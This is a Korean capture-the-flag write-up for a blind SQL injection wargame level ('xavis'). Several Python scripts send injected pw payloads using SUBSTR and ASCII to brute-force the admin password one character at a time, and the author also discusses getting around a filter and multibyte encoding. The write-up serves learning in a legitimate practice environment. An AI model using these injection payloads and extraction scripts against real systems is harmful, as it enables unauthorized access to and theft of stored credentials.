이번 문제의 공격 백터는 pw 파라미터 하나뿐이다.
pw의 필터링 목록을 살펴보자면, prob, _, ., (), regex, like가 있다. 또한 addslashes 함수를 사용하기 때문에 ', ", \, Null 바이트를 직접적인 공격에 사용을 못할 듯 싶다.

 

regex은 mysql 내장함수로 쿼리문에서 다양한 정규식을 사용할 수 있는 함수이다.
아마 정규식을 사용해서 pw을 알아내는 것을 방지하지 위해서 필터링을 건 듯 하다.

 

쿼리문을 살펴보면 select id from prob_xavis where id='admin' and pw=''이라서, Orc 문제처럼 LENGTH 함수와 SUBSTR 함수를 이용하면 손 쉽게 admin의 pw를 획득할 수 있을거 같다.

 

LENGTH 함수를 이용하여 admin의 pw 길이를 알아냈다.

 

import requests, string

def pwParser(url:str):
    headers = {'Cookie': 'PHPSESSID=bv6ctmmrf4kk5ia93e9ll61k4k'}

    result = ''
    for num in range(1, 12+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?pw=' or id=0x61646D696E and SUBSTR(pw,{num},1)={hex(ord(s))}%23"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'admin의 pw {num}번째 값 >>>>', s, hex(ord(s)))
                result += s 
                break
        print('----------------------------------')
    print(result)

if __name__ == '__main__':
    url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
    pwParser(url)

admin의 pw 파싱에 실패하였다.
실패한 이유를 생각해보니, “혹시 알파벳, 숫자, 특수문자로 이루진 문자열이 아닌 아스키코드에서 의미 없는 문자로 이루어진 것이 아닐까?”라는 생각을 하였다.

 

import requests, string

def pwParser(url:str):
    headers = {'Cookie': 'PHPSESSID=bv6ctmmrf4kk5ia93e9ll61k4k'}

    result = ''
    for num in range(1, 12+1):
        for s in range(0, 127+1):
            parameter = f"?pw=' or id=0x61646D696E and ASCII(SUBSTR(pw,{num},1))={s}%23"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'admin의 pw {num}번째 값 >>>>', chr(s), s)
                result += chr(s) 
                break
        print('----------------------------------')
    print(result)

if __name__ == '__main__':
    url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
    pwParser(url)

그래서 아스키코드표에 나온 0~127까지의 아스키코드를 모두 돌려봤지만 결과는 파싱 실패였다.
좀 더 검색을 해보니, 확장 아스키코드가 있었다.

 

확장 아스키코드는 ISO Latin-1으로도 불리는 것과 128~255까지 있다는 것을 알 수 있었다.

 

여기서 나는 “혹시 한글일 수 도 있지 않을까?” 생각을 했지만 일단 128~255까지 돌려본 다음 한글로 도전할 생각이다.

 

result = ''
    for num in range(1, 12+1):
        for s in range(128, 255+1):
            parameter = f"?pw=' or id=0x61646D696E and ASCII(SUBSTR(pw,{num},1))={s}%23"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'admin의 pw {num}번째 값 >>>>', chr(s), s)
                result += chr(s) 
                break
        print('----------------------------------')
    print(result)

코드가 긴거 같아서 For문 부분만 짤라서 넣었다.
하지만 이번에도 값은 나오지 않았다…

 

result = ''
    for num in range(1, 12+1):
        for s in range(44032, 55203):
            parameter = f"?pw=' or id=0x61646D696E and ASCII(SUBSTR(pw,{num},1))={s}%23"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'admin의 pw {num}번째 값 >>>>', chr(s), s)
                result += chr(s) 
                break
        print('----------------------------------')
    print(result)

11172개를 검사하는데 어마무시한 시간이 걸렸다. 나는 30분을 대기를 했지만 첫번째 글자도 찾지 못하였다.
이 정도면 한글이 아닐 가능성도 있다고 생각이 든다.

 

그럼 인코딩을 신경 안쓰고 찾을 수 있는 방법을 생각을 해야한다.

 

나는 테스트를 위해 위와 같은 DB을 생성하였다.

 

그리고 pw의 길이를 확인해보니, 분명 테스트가 9글자로 되어있다.

 

하지만 pw를 출력해보니, 아주 잘 나온다.
인코딩 때문에 생긴 문제로 생각이 든다. 특이한 인코딩은 정확한 글자 길이를 얻기 힘들다는 결과를 얻을 수 있었다.

 

한번 pw의 4번째, 8번째 값을 출력해보니, 아무 값도 나오지 않았다.
3의 길이를 벗어나면 아무 값도 없다는 것을 알 수 있었다.

 

이와 같이 pw의 한 자리씩 뽑아서 10진수 아스키 코드로 변형하여 또 한자리 씩 뽑아서 검사를 하면 pw를 획득할 수 있을 것 같다.

 

나는 아주 신박한 결과를 얻을 수 있었다.
admin의 pw 첫번째 값이 10진수 아스키코드로 0이라는 결과를 얻을 수 있었다….. 뭔가 이상하다…
일단 값이 나오니, 파이썬을 이용하여 나머지 값들도 뽑아보겠다.

 

보기 좋게 실패한 것 같다.

 

이번엔 ord 함수를 이용하여 알아내보도록 하겠다.

 

이번엔 희망이 보일 듯 하다.

 

파이썬으로 돌려보니, 50864이라는 값이 나왔다.

 

이것을 Python의 내장함수 chr 함수로 변환하면 가 나왔다….

 

혹시나 하고 서버에 보내보니 결과는 실패하였다.
한 자리의 비밀번호는 사실상 말이 안돼서 테스트를 더 해봤다.

 

아주 좋은 결과를 얻을 수 있었다.

 

해당 pw를 전송하니, 문제를 클리어 할 수 있었다.

복사했습니다!